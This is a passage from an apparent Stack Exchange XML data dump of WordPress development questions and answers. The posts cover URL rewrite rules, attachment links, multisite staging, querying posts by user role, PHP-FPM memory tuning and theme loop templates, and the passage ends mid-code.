  <row Id="15221" PostTypeId="2" ParentId="15200" CreationDate="2011-04-20T15:21:12.753" Score="0" ViewCount="" Body="&lt;p&gt;You should look at caching the output of your pages using &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; either to Disk or to Memcached. By not needing to rebuild your page on each pageview, you'll save the amount of processing and memory required.&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2011-04-20T15:21:12.753" />
  <row Id="15222" PostTypeId="1" AcceptedAnswerId="15278" CreationDate="2011-04-20T15:25:02.380" Score="0" ViewCount="81" Body="&lt;p&gt;I have a third party events plugin that uses custom tables in the database. I have created a theme file (event.php) that pulls the data in based on a slug that is ideally given in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a custom URL rewrite rule for this template, so a URL like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/event/my-slug&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will call the event.php file, grabbing the specific event they have requested (the slug).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class I am including in the functions.php to accomplish this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$EventpageCode = new Eventpage();&#xA;register_activation_hook( __file__, array($EventpageCode, 'activate') );&#xA;&#xA;add_filter('rewrite_rules_array', array($EventpageCode, 'create_rewrite_rules'));&#xA;add_filter('query_vars',array($EventpageCode, 'add_query_vars'));&#xA;&#xA;add_filter('admin_init', array($EventpageCode, 'flush_rewrite_rules'));&#xA;add_action('template_include', array($EventpageCode, 'template_redirect_intercept'));&#xA;&#xA;class Eventpage {&#xA;&#xA;    function activate() {&#xA;        global $wp_rewrite;&#xA;        $this-&amp;gt;flush_rewrite_rules();&#xA;    }&#xA;&#xA;    function create_rewrite_rules($rules) {&#xA;        global $wp_rewrite;&#xA;        $newRule = array('event/(.+)' =&amp;gt; 'index.php?pagename=event&amp;amp;eventid='.$wp_rewrite-&amp;gt;preg_index(1));&#xA;        $newRules = $newRule + $rules;&#xA;        return $newRules;&#xA;    }&#xA;&#xA;    function add_query_vars($qvars) {&#xA;        $qvars[] = 'eventid';&#xA;        return $qvars;&#xA;    }&#xA;&#xA;    function flush_rewrite_rules() {&#xA;        global $wp_rewrite;&#xA;        $wp_rewrite-&amp;gt;flush_rules();&#xA;    }&#xA;&#xA;    function template_redirect_intercept($template) {&#xA;        global $wp_query;&#xA;        if ($wp_query-&amp;gt;get('eventid')) {&#xA;            $template = locate_template( array( 'event.php' ) );&#xA;        }&#xA;        return $template;&#xA;    }&#xA;&#xA;    function pushoutput($message) {&#xA;        $this-&amp;gt;output($message);&#xA;    }&#xA;&#xA;    function output( $output ) {&#xA;        header( 'Cache-Control: no-cache, must-revalidate' );&#xA;        header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );&#xA;&#xA;        echo json_encode( $output );&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great for displaying the content, except that the page throws a 404 error (but still displays the content). Any suggestions on how to avoid having the 404 error returned?&lt;/p&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2011-04-20T23:55:38.603" Title="Adding Theme File for Non-Wordpress Content" Tags="&lt;url-rewriting&gt;&lt;customization&gt;&lt;404-error&gt;" AnswerCount="2" />
  <row Id="15224" PostTypeId="1" AcceptedAnswerId="15233" CreationDate="2011-04-20T15:32:13.720" Score="0" ViewCount="41" Body="&lt;p&gt;First things firs.... up until now (before I experimented with some plugins - many) my blog was behaving properly....&#xA;1. I write the post&#xA;2. Import the media from my computer&#xA;3. Insert the media into my post&#xA;4. When I click on media link ... it fires up the pdf file (for example)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I do everything same from 1 to 3 and when I try to open up the pdf file, my blog leads me from post url (/?p=1491 in the url) first to attachemtn URL (/?attachment_id=1927) which is WRONG. On that page there is a link to the pdf file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I bypas this extra step and go directly to pdf?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;|help|please|&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-04-20T16:47:26.143" Title="Links to my uploads went crazy" Tags="&lt;attachments&gt;" AnswerCount="1" />
  <row Id="15225" PostTypeId="2" ParentId="15222" CreationDate="2011-04-20T15:47:22.170" Score="0" ViewCount="" Body="&lt;p&gt;Can you get something like this in there?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header(&quot;HTTP/1.1 200 OK&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-04-20T15:47:22.170" CommentCount="2" />
  <row Id="15226" PostTypeId="1" CreationDate="2011-04-20T15:48:03.167" Score="1" ViewCount="102" Body="&lt;p&gt;I'd like to setup a staging instance of my multisite network and I'm not sure how best to do it.  I'm will be using version control to deploy to staging and production environments and I'd like the staging to be a full mirror of the production multisite network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How feasible is it to set this up on a subdomain ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;staging.mydomain.com &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this before ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="4705" LastActivityDate="2011-05-20T07:37:29.227" Title="Staging setup for multisite installation" Tags="&lt;multisite&gt;&lt;network&gt;&lt;development-strategy&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="15227" PostTypeId="1" CreationDate="2011-04-20T15:52:11.917" Score="0" ViewCount="61" Body="&lt;p&gt;I am going to have two WordPress websites running off the same database, so that they both have the same products set (each post is a product) but they have different homepages, about us pages, etc. thanks to the themes of each site. (Note: NOT using MU).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is once concern: &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the mini-site to have completely separate tags, as it has a different identity. So I will use custom fields in the posts to set the tags for each domain but herein lies the problem: I already have an SEO plugin installed and loads of custom tags, so how do I disable that plugin for the new site &lt;em&gt;only&lt;/em&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that if I just omit the files for that plugin on one of the installs then WordPress will detect that it is not there, and disable it in the DB, so it will disable for both sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the answer?&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2011-04-20T21:45:41.483" Title="More than one WordPress site using the same database - how to disable plugin for one site?" Tags="&lt;plugins&gt;&lt;database&gt;" AnswerCount="1" />
  <row Id="15228" PostTypeId="2" ParentId="12153" CreationDate="2011-04-20T15:53:08.827" Score="0" ViewCount="" Body="&lt;p&gt;This is so annoying! I put my own pics in here but i dont want any vote up or down. I want to see for example a text besides the pics  that says: &quot;3 people voted yes and 5 people voted no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No ups or downs! Can't believe there are no plugin for wordpress like that...ive been searching for ages now!&lt;/p&gt;&#xA;" OwnerUserId="4794" LastActivityDate="2011-04-20T15:53:08.827" />
  <row Id="15229" PostTypeId="2" ParentId="8230" CreationDate="2011-04-20T15:56:27.780" Score="0" ViewCount="" Body="&lt;p&gt;I am running 3.1 as well and have searched for days trying to find a fix with no real solution. Looks like the only option is just creating two separate menus and display them next to each other in the theme.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently do have a 200+ menu.  I set the set_time_limit (300); and define('WP_MEMORY_LIMIT', '64M'); and it does save after about 8-10 minutes.  Not really the best solution.  I also tried to modify the nav-menu.php file as stated above, but the directions were of no help, may be only a solution for WP 3.0...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if anybody finds a solution that works better than this, please let me know!  &lt;/p&gt;&#xA;" OwnerUserId="4795" LastActivityDate="2011-04-20T15:56:27.780" />
  <row Id="15230" PostTypeId="1" AcceptedAnswerId="15232" CreationDate="2011-04-20T15:56:52.677" Score="0" ViewCount="123" Body="&lt;p&gt;I have a custom post type (&quot;News&quot;), and a custum user role (&quot;Friends&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the last &quot;News&quot; written by &quot;Friends&quot; ? &lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-20T17:32:06.120" Title="How can I get the last posts by user role?" Tags="&lt;custom-post-types&gt;&lt;users&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="15231" PostTypeId="2" ParentId="15226" CreationDate="2011-04-20T16:12:08.683" Score="2" ViewCount="" Body="&lt;p&gt;Right now the way we are currently using we have 3 enviroments. Development, Test, and Production. On the same server we have the 3 instances as separate sites/domains. So we have something like this. This would work best for multisite&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;domaindev.com &lt;/li&gt;&#xA;&lt;li&gt;domaintest.com&lt;/li&gt;&#xA;&lt;li&gt;domain.com&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You need to have individual domains to be able to use the subdomain functionality of wpms&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once everything is tested on domaindev.com, we just push it to the test and so on. But if you have a current version of your site, and you want to add new features in a dev environment I would suggest replicating your live site on another domain, and maybe this script here can help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pp19dd.com/2011/01/bash-script-to-mirror-wordpress-mu-installation-into-a-sandbox/&quot; rel=&quot;nofollow&quot;&gt;http://pp19dd.com/2011/01/bash-script-to-mirror-wordpress-mu-installation-into-a-sandbox/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are done and test those changes, can just update your live site again.&lt;/p&gt;&#xA;" OwnerUserId="4797" LastActivityDate="2011-04-20T16:12:08.683" />
  <row Id="15232" PostTypeId="2" ParentId="15230" CreationDate="2011-04-20T16:40:50.410" Score="2" ViewCount="" Body="&lt;p&gt;I would try the following (not tested)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $friends = get_users( array( 'role' =&amp;gt; 'friends' ) );&#xA;    $friend_ids = array();&#xA;&#xA;    foreach( $friends as $friend ) &#xA;        $friend_ids[] = $friend-&amp;gt;ID;&#xA;&#xA;    $news = new WP_Query( array( 'author' =&amp;gt; implode( ',', $friend_ids ), 'post_type' =&amp;gt; 'news', 'paged' =&amp;gt; get_query_var('paged') ) );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: 'friends' is the role ID, not the nice name. Then use the loop as normal :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $news-&amp;gt;have_posts() ) : while ( $news-&amp;gt;have_posts() ) : $news-&amp;gt;the_post(); ?&amp;gt;  &#xA;    ...&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully that will work :)&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="2264" LastEditorDisplayName="" LastEditDate="2011-04-20T17:32:06.120" LastActivityDate="2011-04-20T17:32:06.120" CommentCount="2" />
  <row Id="15233" PostTypeId="2" ParentId="15224" CreationDate="2011-04-20T16:47:26.143" Score="2" ViewCount="" Body="&lt;p&gt;In the Add Media window, click the &quot;File URL&quot; button, not &quot;Post URL&quot; before inserting it into the post.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-20T16:47:26.143" />
  <row Id="15234" PostTypeId="1" AcceptedAnswerId="15294" CreationDate="2011-04-20T16:53:36.847" Score="0" ViewCount="36" Body="&lt;p&gt;I have this query that shows the categories that a user had posted in. For example if I have 3 cats, name NEWS, MEDIA, PUBLICATIONS and the author had only posted in the first two, it will show&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NEWS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MEDIA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any better code than this or an improvement because my db is really huge and it gives me throttling? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$author = get_query_var('author');&#xA;$categories = $wpdb-&amp;gt;get_results(&quot;&#xA;SELECT DISTINCT(terms.term_id) as ID, terms.name&#xA;    FROM $wpdb-&amp;gt;posts as posts&#xA;    LEFT JOIN $wpdb-&amp;gt;term_relationships as relationships ON posts.ID = relationships.object_ID&#xA;    LEFT JOIN $wpdb-&amp;gt;term_taxonomy as tax ON relationships.term_taxonomy_id = tax.term_taxonomy_id&#xA;    LEFT JOIN $wpdb-&amp;gt;terms as terms ON tax.term_id = terms.term_id&#xA;WHERE posts.post_author = '{$post-&amp;gt;post_author}' &quot;);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach($categories as $category) : ?&amp;gt;&#xA;&amp;lt;?php if ( ($category-&amp;gt;ID == '3')   || ($category-&amp;gt;ID == '4')  || ($category-&amp;gt;ID == '5')) { ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_category_link( $category-&amp;gt;ID ); ?&amp;gt;/?author_name=&amp;lt;?php echo $curuser-&amp;gt;user_login; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $category-&amp;gt;name ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php echo $category-&amp;gt;name; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4448" LastActivityDate="2011-04-21T04:11:12.250" Title="Is there any better/faster code than this ? It shows the categories that an author had ever posted in" Tags="&lt;categories&gt;&lt;posts&gt;" AnswerCount="2" />
  <row Id="15235" PostTypeId="2" ParentId="15200" CreationDate="2011-04-20T17:11:33.990" Score="1" ViewCount="" Body="&lt;p&gt;On top of caching as many dynamic requests as possible through &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;, I also had to modify my PHP configuration to behave nicely on my low memory web server. Before tweaking PHP, it would spawn too many PHP child processes, run out of RAM, hit the swap, and basically shut the entire server down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Nginx and PHP5-FPM, but what fixed the problem for me was editing my PHP5-FPM configuration (in &lt;code&gt;/etc/php5/fpm/php5-fpm.conf&lt;/code&gt; I believe) and reducing &lt;code&gt;pm.max_children = 12&lt;/code&gt; to &lt;code&gt;pm.max_children = 10&lt;/code&gt;. I haven't had any memory issues since making this change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your configuration will probably be different, but I'm sure there's are similar configuration values for PHP that you can tweak to reduce memory usage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get an idea of what processes are sucking up your memory, use &lt;code&gt;top&lt;/code&gt; if available and press SHIFT + M to sort by memory usage. When my server was having issues, I'd see a ton of php processes eating up resources.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-20T17:11:33.990" />
  <row Id="15236" PostTypeId="1" CreationDate="2011-04-20T17:21:48.723" Score="0" ViewCount="110" Body="&lt;p&gt;I'm having hard time trying to use teasers post in my wordpress theme (based on 960gs), as you can see here &lt;a href=&quot;http://img17.imageshack.us/img17/794/schermata20110420a15045.png&quot; rel=&quot;nofollow&quot;&gt;http://img17.imageshack.us/img17/794/schermata20110420a15045.png&lt;/a&gt; what I got till now is one &quot;featured&quot; post and three teasers post with thumbnails that will probably be six (so it'll have seven posts displaied in the homepage). The problem is that to do so I have to assign a class &quot;grid_2 alpha&quot; to the teasers post and I don't know how to assign this class to just the first teaser on the left, lefting the other ones with no alpha or omega class and putting the omega class to just the last teaser post (the seventh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If can help, here's the code I'm using for the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $firstClass = 'firstpost'; ?&amp;gt;&#xA;&amp;lt;?php /* Start loop */ ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post();  ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (function_exists('yoast_breadcrumb')) { if (is_page() &amp;amp;&amp;amp; $post-&amp;gt;post_parent) { yoast_breadcrumb('&amp;lt;p id=&quot;breadcrumbs&quot;&amp;gt;','&amp;lt;/p&amp;gt;'); } } ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;post &amp;lt;?php echo $firstClass; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php $firstClass = 'grid_2 alpha'; ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;Thumbnail&quot;, true);?&amp;gt;&quot; width=&quot;140&quot; height=&quot;100&quot; style=&quot;padding-bottom:20px;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;?php the_content(); ?&amp;gt;&#xA;    &amp;lt;?php wp_link_pages(array('before' =&amp;gt; '&amp;lt;nav id=&quot;page-nav&quot;&amp;gt;&amp;lt;p&amp;gt;' . __('Pages:', 'roots'), 'after' =&amp;gt; '&amp;lt;/p&amp;gt;&amp;lt;/nav&amp;gt;' )); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; // End the loop ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also I would like to know how I can add some text above the teaser section under the first featured post. Sorry for the too many questions and for my bad english, as you can understand I'm not a developer but I searched for one week and couldn't find anything helpful for my problems. Thanks in advance for any help, I really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so there are the other loop pages and the front-page.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;front-page.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;        &amp;lt;div id=&quot;content&quot; class=&quot;&amp;lt;?php echo roots_container_class; ?&amp;gt;&quot;&amp;gt; &#xA;            &amp;lt;div id=&quot;main&quot; class=&quot;&amp;lt;?php echo get_option('roots_main_class'); ?&amp;gt; grid_6&quot; role=&quot;main&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                    &amp;lt;?php get_template_part('loop', 'page'); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /#main --&amp;gt;&#xA;            &amp;lt;aside id=&quot;sidebar&quot; class=&quot;&amp;lt;?php echo get_option('roots_sidebar_class'); ?&amp;gt; grid_6&quot; role=&quot;complementary&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/aside&amp;gt;&amp;lt;!-- /#sidebar --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /#content --&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;loop-search.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if (!have_posts()) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;notice&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;bottom&quot;&amp;gt;Sorry, no results were found.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php get_search_form(); ?&amp;gt; &#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Start loop */ ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post();  ?&amp;gt;&#xA;&#xA;        &amp;lt;article id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;header&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;time pubdate datetime=&quot;&amp;lt;?php the_time('c'); ?&amp;gt;&quot;&amp;gt;Posted on &amp;lt;?php the_time('l, F jS, Y') ?&amp;gt; at &amp;lt;?php the_time() ?&amp;gt;.&amp;lt;/time&amp;gt;&#xA;                &amp;lt;?php if (get_option('roots_post_author') == 'checked') { ?&amp;gt;&#xA;                &amp;lt;p class=&quot;byline author vcard&quot;&amp;gt;&#xA;                    Written by &amp;lt;span class=&quot;fn&quot;&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php if (is_archive() || is_search()) : // Only display excerpts for archives and search ?&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;?php the_content('Continue&amp;amp;hellip;'); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;footer&amp;gt;&#xA;                &amp;lt;?php $tag = get_the_tags(); if (!$tag) { } else { ?&amp;gt;&amp;lt;p&amp;gt;&amp;lt;?php the_tags(); ?&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;/article&amp;gt;&#xA;&#xA;        &amp;lt;?php comments_template('', true); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Display navigation to next/previous pages when applicable */ ?&amp;gt;&#xA;&amp;lt;?php if ($wp_query-&amp;gt;max_num_pages &amp;gt; 1) : ?&amp;gt;&#xA;    &amp;lt;nav id=&quot;post-nav&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;post-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;amp;larr; Older posts', 'roots' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;post-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Newer posts &amp;amp;rarr;', 'roots' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/nav&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;loop-single.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* Start loop */ ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post();  ?&amp;gt;&#xA;&#xA;    &amp;lt;article &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;header&amp;gt;&#xA;            &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;time class=&quot;updated&quot; datetime=&quot;&amp;lt;?php the_time('c'); ?&amp;gt;&quot; pubdate&amp;gt;Posted on &amp;lt;?php the_time('l, F jS, Y') ?&amp;gt; at &amp;lt;?php the_time() ?&amp;gt;.&amp;lt;/time&amp;gt;&#xA;            &amp;lt;?php if (get_option('roots_post_author') == 'checked') { ?&amp;gt;&#xA;            &amp;lt;p class=&quot;byline author vcard&quot;&amp;gt;&#xA;                Written by &amp;lt;span class=&quot;fn&quot;&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;?php if (get_option('roots_post_tweet') == 'checked') { ?&amp;gt;&#xA;            &amp;lt;a href=&quot;http://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-count=&quot;horizontal&quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://platform.twitter.com/widgets.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;        &amp;lt;/header&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;?php the_content('&amp;lt;p&amp;gt;Read the rest of this entry &amp;amp;raquo;&amp;lt;/p&amp;gt;'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;footer&amp;gt;&#xA;            &amp;lt;?php wp_link_pages(array('before' =&amp;gt; '&amp;lt;nav id=&quot;page-nav&quot;&amp;gt;&amp;lt;p&amp;gt;' . __('Pages:', 'roots'), 'after' =&amp;gt; '&amp;lt;/p&amp;gt;&amp;lt;/nav&amp;gt;' )); ?&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php the_tags(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/footer&amp;gt;&#xA;        &amp;lt;?php comments_template(); ?&amp;gt;&#xA;    &amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; // End the loop ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;loop.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if (!have_posts()) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;notice&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;bottom&quot;&amp;gt;Sorry, no results were found.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php get_search_form(); ?&amp;gt; &#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;?php /* Start loop */ ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post();  ?&amp;gt;&#xA;&#xA;        &amp;lt;article id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;            &amp;lt;header&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;time pubdate datetime=&quot;&amp;lt;?php the_time('c'); ?&amp;gt;&quot;&amp;gt;Posted on &amp;lt;?php the_time('l, F jS, Y') ?&amp;gt; at &amp;lt;?php the_time() ?&amp;gt;.&amp;lt;/time&amp;gt;&#xA;                &amp;lt;?php if (get_option('roots_post_author') == 'checked') { ?&amp;gt;&#xA;                &amp;lt;p class=&quot;byline author vcard&quot;&amp;gt;&#xA;                    Written by &amp;lt;span class=&quot;fn&quot;&amp;gt;&amp;lt;?php the_author(); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/header&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php if (is_archive() || is_search()) : // Only display excerpts for archives and search ?&amp;gt;&#xA;            &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;?php the_content('Continue&amp;amp;hellip;'); ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;footer&amp;gt;&#xA;                &amp;lt;?php $tag = get_the_tags(); if (!$tag) { } else { 